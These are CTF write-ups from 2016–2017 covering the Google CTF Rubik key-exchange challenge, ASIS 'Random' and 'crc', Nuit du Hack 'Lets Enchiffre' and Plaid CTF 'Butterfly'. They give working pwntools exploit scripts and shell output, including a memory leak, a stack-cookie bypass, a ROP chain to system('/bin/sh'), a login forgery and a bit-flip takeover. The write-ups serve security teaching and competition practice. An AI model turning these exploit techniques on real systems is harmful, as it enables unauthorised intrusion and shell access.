20 Jun 2017
This is a write-up of the Rubik challenge from the Google CTF Qualification round 2017
The challenge
The challenge uses Stickel's Key exchange over the rubik's cube group.
When connecting to the challenge on rubik.ctfcompetition.com:1337 we are greeted with the following menu:
Welcome to the Rubik's cube authentication server!
You have the following options:
1) Public key service
2) Register
3) Login
q) Quit
- The public key service lets us compute a rubik's cube state from a private key consisting of two numbers.
- Allows us to register a user with a specified public key.
- Gives us a challenge to verify that we have the private corresponding to a user's public key.
A private key is pair of numbers (a,b) and the way a public key is computed is applying the group operation (U x') a times, and then applying the group operation (L y') b times.
Thus public key for a given private key is
a * (U x') + b * (L y')
Bruteforcing all keys
From the Wikipedia article of the Rubik cube group the order of the group operations (U x') and (L y') have order 1260, thus there exists only 1260*1260 = 1587600 different keys pairs.
So we can make the server compute every possible private/public key using simple bruteforce.
from pwn import *
import pickle
r = remote("rubik.ctfcompetition.com", 1337)
them_keys = {}
for a in range(1260):
r = remote("rubik.ctfcompetition.com", 1337)
# ask for all public keys corresponting to every possible b for each fixed a
for b in range(1260):
r.sendline("1")
r.sendline(str(a))
r.sendline(str(b))
# receive the public keys
for b in range(1260):
r.recvuntil("==\n")
cube = r.recvline().strip()
them_keys[cube] = (a,b)
r.close()
print a, len(them_keys)
# dump all the keys to the file "them_keys"
with open("them_keys", "w") as f:
pickle.dump(them_keys, f)
So we now have a lookup table of all the private key for every possible public key.
Logging in
When trying to login using menu option 2 we are presented with the following challenge
My public key is:
WOOBWGWWOBYGRRBYYGWYRYGWORGRBBOORGGGRWOBBYRWOYBWOYRYGB
Please give me the result of:
mykey.handshake(yourkey, "882af203cb894828".from_hex().unwrap()).to_hex()
Thus if we choose a solved rubik cube as our public key, we can simply apply the handshake function of the server's publickey to get a valid response to the challenge.
Now lets consider what the handshake function does:
pub fn handshake(&self, key: PublicKey, salt: &[u8]) -> [u8; 16] {
let pa = Permutation::parse("U x'").unwrap();
let pb = Permutation::parse("L y'").unwrap();
let cube = Cube::default().apply(self.a * pa + key.key + self.b * pb);
let mut out = [0; 16];
Blake2b::blake2b(&mut out, &cube.serialize().as_bytes(), salt);
out
}
So in our case, with a solve rubik cube as a public key, we see that we must simply responde with a hash of the servers public key.
Now we can log in as a user using the following script:
from pwn import *
from pyblake2 import blake2b
r = remote("rubik.ctfcompetition.com", 1337)
# create a user with a solved Rubik's cube as publickey
r.sendline("2")
r.sendline("hackerman")
r.sendline("WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY")
# login as that user
r.sendline("3")
r.sendline("hackerman")
r.recvuntil("key is:\n")
server_pub = r.recvline().strip()
r.recvuntil("mykey.handshake(yourkey, \"")
salt = r.recvn(16)
r.recvline()
hsh = blake2b(server_pub, key=salt.decode("hex"), digest_size=16).digest()
r.sendline(hsh.encode("hex"))
r.interactive()
And this gives us access to the following menu:
You have the following options:
1) Public key service
2) Register
3) Login
4) List users
q) Quit
Logging in as admin
So we are now able to list which users already exists. So lets do that:
List of registered users:
Username: hackerman
Key: WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY
Username: admin
Key: GBBRBWRWBWBBWBRYROWYRGOGYWYRRBOYOYGWGWYBOYOOROGORGYGWG
Woo! So there is a admin user and we know his public key, so we can simply find his private key using our lookup table:
Traceback (most recent call last):
File "doit.py", line 27, in <module>
print them_keys[admin_public_key]
KeyError: 'GBBRBWRWBWBBWBRYROWYRGOGYWYRRBOYOYGWGWYBOYOOROGORGYGWG'
This is very odd, as our lookup table contains every possible key pair. So we can conclude that the admin must have a public key which does not correspond to any private key.
So we need a different approach we need to know the servers private key to calcualte the shared secret
- Find a sequence of moves which solve the admins public key, call this sequence M
- Look up the server private key, and call this (a, b)
- Calcucate: a * (U x') + M' + b * (L y')
from rubik.cube import Cube
from rubik.solve import Solver
admin_cube = Cube(admin_public_key)
admin_solver = Solver(admin_cube)
admin_solver.solve()
admin_moves = []
for move in admin_solver.moves[::-1]:
admin_moves += [move]*3 # invert every move
a, b = them_keys[server_public_key]
moves = ["U", "Xi"]*a + admin_moves + ["L", "Yi"]*b
# apply operations on a solved cube.
win_cube = Cube("WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY")
for move in moves: getattr(win_cube, move)()
# hash
winning = str(win_cube).replace(" ", "").replace("\n", "")
hsh = blake2b(winning, key=salt.decode("hex"), digest_size=16).digest()
r.sendline(hsh.encode("hex"))
r.interactive()
This only works 1 in 24 times because the solver libary we found does not preserve the orientation of the cube.
So we just run our script until we get the flag:
Your are now logged in!
Here is the flag: CTF{StickelsKeyExchangeByHand}
References
10 Apr 2017
This is a write of the cahllenge Random from ASIS Quals 2017 CTF
The Challenge
Its a simple 64-bit binary which generates 'random' numbers, it has stack cookies.
Hand fuzzing
It was not necessary to reverse engineer the binary as it has odd and exploitable behaviour.
The binary behaves differently locally and remotely.
Locally it returns only 0 when giving random numbers.
Remotely is returns what looks like random numbers.
After a short while of debugging I deduce that it is leaking the stack cookie.
Also there is a buffer overflow when leaving a comment.
Exploitation
I found ROP gadgets using ROPGadget
$ ROPgadget --binary Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1
Gadgets information
============================================================
...
0x0000000000400f88 : mov rdx, rsi ; ret
...
0x0000000000400f8c : pop rax ; pop rdi ; ret
...
0x0000000000400f61 : pop rsi ; pop r15 ; ret
...
0x0000000000400f8f : syscall ; ret
These gadget are enough to make syscalls with 3 arguments, so I made an exploit:
Running it pops a shell:
$ python doit.py
[+] Starting local process './Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1': Done
[*] Stack cookie = 0x0000000000000000
[*] Switching to interactive mode
$ bash -l
$ cowsay "I got shell"
_____________
< I got shell >
-------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
$ ^C
[*] Interrupted
[*] Stopped program './Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'
10 Apr 2017
This is a write-up of the challenge crc from ASIS Quals 2017 CTF
The challenge
The challenge is a 32-bits binary, which can calculate the crc32 of data we send it.
The challenge has stack cookies.
**********WELCOME TO THE CRC32 CALCULATOR**********
------------------------
1) Calculate a CRC
2) Exit
------------------------
Choice:
The Solution
The challenge boils down to the following;
char buf[100];
char *buf_ptr = &buf;
unsigned int size;
...
while(True){
size = get_userinput_number()
if(size > 99){ too much data }
gets(buf);
calcCrc(buf_ptr, size);
}
So the problem is that the gets can overwrite the pointer buf_ptr,
and so give us the crc32 of any byes in the memory.
This obviously leads to a memory leak.
Reliable memory leak
from pwn import *
reverse_crc = {crc.crc_32(p8(i)): p8(i) for i in range(2**8)}
r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")
@MemLeak
def leak(addr):
if "\n" in p32(addr): return ""
#Choice:
r.sendline("1")
#What is the length of your data:
r.sendline("1")
#Please send me 1 bytes to process:
r.sendline("A"*100 + p32(addr))
r.recvuntil("CRC is: ")
crc = int(r.recvline(), 16)
return reverse_crc[crc]
This leak is not good enough because the address from which we are leaking must not contain newlines.
However it demonstrates the vulnerability quite well.
We can fix the problem with most of the newlines if we simple leak 2 bytes instead and do a little workaround address with newlines:
from pwn import *
reverse_crc = {crc.crc_32(p16(i)): p16(i) for i in range(2**16)}
r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")
@MemLeak
def leak(addr):
f = 0
if p32(addr)[0] == "\n":
log.info("Leaking from address with newline... Fixing"
f = 1
addr -= 1
#Choice:
r.sendline("1")
#What is the length of your data:
r.sendline("2")
#Please send me 2 bytes to process:
r.sendline("A"*100 + p32(addr))
r.recvuntil("CRC is: ")
crc = int(r.recvline(), 16)
return reverse_crc[crc][f:]
Exploitation
Now we can simply use the pwntools pointer chasing magic module DynELF to leak symbols from libc:
e = ELF("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")
d = DynELF(leak, elf=e)
system = d.lookup("system", lib="libc.so")
log.info("system = 0x%x", system)
This gives us the address of system. Next thing we can do is find our buffer on the stack, leak the cookie.
environ = d.lookup("environ", lib="libc.so")
log.info("environ = 0x%x", environ)
stack = leak.d(environ)
for i in range(0x400):
if leak.d(stack-i) == 0x41414141: break
stack = stack - i
log.info("stack = 0x%x", stack)
cookie = leak.d(stack+8)
log.info("cookie = 0x%x", cookie)
Then if we put /bin/sh\x00 in the buffer we overflow we can even find it at binsh = stack-100+4
and finally we can exploit the function get_userinput_number because it uses gets and ROP to win:
rop = flat(["A"*40, cookie, "B"*12, system, 0x41414141, binsh])
assert "\n" not in rop
r.sendline(rop)
r.sendline("echo SHELL")
r.recvuntil("SHELL\n")
r.interactive()
Final exploit
$ python doit.py
[+] Calculating CRC reverse lookup table: Done
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/user/crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[+] Starting local process './crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d': Done
[+] Loading from '/home/user/crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d': 0xf7792930
[+] Resolving 'system' in 'libc.so': 0xf7792930
[!] No ELF provided. Leaking is much faster if you have a copy of the ELF being leaked.
[*] system = 0xf75de3e0
[+] Resolving 'environ' in 'libc.so': 0xf774ade0
[*] environ = 0xf774ade0
[*] stack = 0xffb67624
[*] cookie = 0xf92ee300
[*] Switching to interactive mode
$ cowsay "I got shell"
_____________
< I got shell >
-------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
$
06 Apr 2017
This is a write-up of the Lets Enchiffre challenge from Nuit du Hack CTF Quals 2017.
Apparently I was the only one to solve this challenge during the CTF.
The Challenge
It is a 32-bit x86 binary compiled on some RedHat system and it exposes a LetsEncrypt-like service,
which can create SSL certificates upon request. It is linked against libzxcvbn.so.0, and as evident
from the output of readelf:
$ readelf -d LetsEnchiffre
...
0x0000000f (RPATH) Library rpath: [/home/n.chatelain/Sysdream/NDH2017/Quals/quals-letsenchiffre/zxcvbn-c]
...
it is likely to be used with https://github.com/tsyrogit/zxcvbn-c.git.
Creating a test setup
After a bit of trail-and-error and fiddling around with Fedora and CentOS docker images,
I was able to create the following Dockerfile:
in which I was able to run the binary.
Reverse engineering
The challenge uses Protobuf and zxcvbn, it is an accept-loop based server, and for each connect it spawns a thread.
Race condition
The use of threading hints at a possible race condition bug and sure enough we have multiple reader and writers for the global variable stored at 0x08056450.
This variable is used to store a pointer to an password either supplied by a user or generated automatically.
When recviving the password this happens:
google::protobuf::MessageLite::ParseFromArray(&pbuf_msg, buf, v18);
password_1 = protobuf_get_password_field(pbuf_msg);
password_g = std::__cxx11::basic_string::c_str(password_1);
password_2 = protobuf_get_password_field(pbuf_msg);
password_is_short_enough = 0;
if ( *std::basic_string::c_str(password_2) )
{
password_3 = protobuf_get_password_field(pbuf_msg);
password_3_cstr = std::basic_string::c_str(password_3);
if ( strlen(password_3_cstr) <= 99 )
password_is_short_enough = 1;
}
So we set the global variable password_g and then checks if it is shorter than 100 bytes,
thus we can always override the password_g variable which might be used in another thread.
Buffer overflow
Next we take a look at the password strength check function at 0x0804b32b:
snprintf(foo, 0x400u, "%s%s", "letsenchiffre", password_g);
v7 = ZxcvbnMatch(foo, 0, &v6);
if ( v7 >= 70.0 ) { ... } else { ... }
The variable foo is located on the stack and is only 114 bytes long. This is clearly bad.
Exploitation
The challenge does have execstack so we just need to put our shellcode in memory and jump to it, and running ROPgadget on the binary we get:
0x0804b490 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
So if we can point esp to just a few pops below password_g we would start executing at the start of out payload, so we can exploit the binary with
and if we are lucky we will hit the race condition just right and get a connect back on ebfe.dk:4243.
Flag
NDH{df297855f5038ffd0b7f8ad86ed155c3d3643d18eb2a2f1a22e107039bad7cd0}
20 Apr 2016
This is a write-up of the challenge Butterfly from the Plaid ctf 2016.
The challenge
Butterfly is a 64bit x86 linux pwnable, which simply lets you flip a single bit by shining a cosmic ray at it.
It works by mprotect'ing the page with read-write-execute before flipping the bit and then calling mprotect again to remove write rigths.
The exploit
As we can flip arbitary bits in both the code and data, it knew that we should either flip the bit the code of main or in some got entry,
to get control of rip.
At the end of main we found:
400860: 48 83 c4 48 add rsp,0x48
400864: 5b pop rbx
400865: 41 5e pop r14
400867: 41 5f pop r15
400869: 5d pop rbp
40086a: c3 ret
and thus flipping the 6'th bit at 400863 would change the add rsp,0x48 to add rsp, 0x8,
and so main would return to an address of our choosing.
So by letting main to return to main we was able to get unlimited bit flips.
from pwn import *
context(arch="amd64")
e = ELF("./butterfly_33e86bcc2f0a21d57970dc6907867bed")
#r = remote("butterfly.pwning.xxx", 9999)
r = process("./butterfly_33e86bcc2f0a21d57970dc6907867bed")
addr = 0x400860+3
num = (addr << 3) + 6
r.sendline(str(num).ljust(40)+p64(e.symbols["main"]))
which when run gives us:
$ python doit_butterfly.py
[*] '/home/user/butterfly_33e86bcc2f0a21d57970dc6907867bed'
Arch: amd64-64-little
RELRO: No RELRO
Stack Canary: Canary found
NX: NX enabled
PIE: No PIE
[x] Starting program './butterfly_33e86bcc2f0a21d57970dc6907867bed'
[+] Starting program './butterfly_33e86bcc2f0a21d57970dc6907867bed': Done
[*] Switching to interactive mode
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
WAS IT WORTH IT???
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
note that "THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?" is written twice, this is because we are re-executing main.
So from here it was easy to write some shellcode in the .bss and just return to it...
Final exploit
[*] '/home/user/butterfly_33e86bcc2f0a21d57970dc6907867bed'
Arch: amd64-64-little
RELRO: No RELRO
Stack Canary: Canary found
NX: NX enabled
PIE: No PIE
[x] Opening connection to butterfly.pwning.xxx on port 9999
[x] Opening connection to butterfly.pwning.xxx on port 9999: Trying 13.92.239.242
[+] Opening connection to butterfly.pwning.xxx on port 9999: Done
[*] Switching to interactive mode
WAS IT WORTH IT???
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
WAS IT WORTH IT???
id
uid=1001(problem) gid=1001(problem) groups=1001(problem)
cat flag
PCTF{b1t_fl1ps_4r3_0P_r1t3}